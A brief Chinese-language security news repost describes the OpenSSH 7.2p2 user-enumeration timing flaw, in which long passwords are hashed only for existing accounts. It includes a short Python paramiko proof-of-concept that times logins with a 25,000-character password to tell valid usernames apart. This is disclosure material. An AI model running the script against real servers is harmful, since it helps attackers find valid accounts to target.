该漏洞在opensshd-7.2p2 中被发现,但是安全人员指出,该漏洞应该在更早的版本中已经存在。
漏洞描述如下:
当我们使用ssh客户端去连接服务端的时候,如果向服务端发送一个大于10KB的密码,由于OpenSSH服务端会对user:password的组合,使用加密算法SHA256/SHA512进行加密。
如果我们传输的是一个不存在的用户名,那么就不会进入sha256(user,password)加密流程,如果用户名存在,服务器将会针对这个10KB大的密码进行SHA256的加密,这里就会产生时间差。
Sample code: ---------------- import paramiko import time user=raw_input("user: ") p='A'*25000 ssh = paramiko.SSHClient() starttime=time.clock() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect('127.0.0.1', username=user, password=p) except: endtime=time.clock() total=endtime-starttime print(total) (Valid users will result in higher total time).
关于该漏洞更多详情,可以在这里查看:
http://seclists.org/fulldisclosure/2016/Jul/51
文章转载自:开源中国社区 [http://www.oschina.net]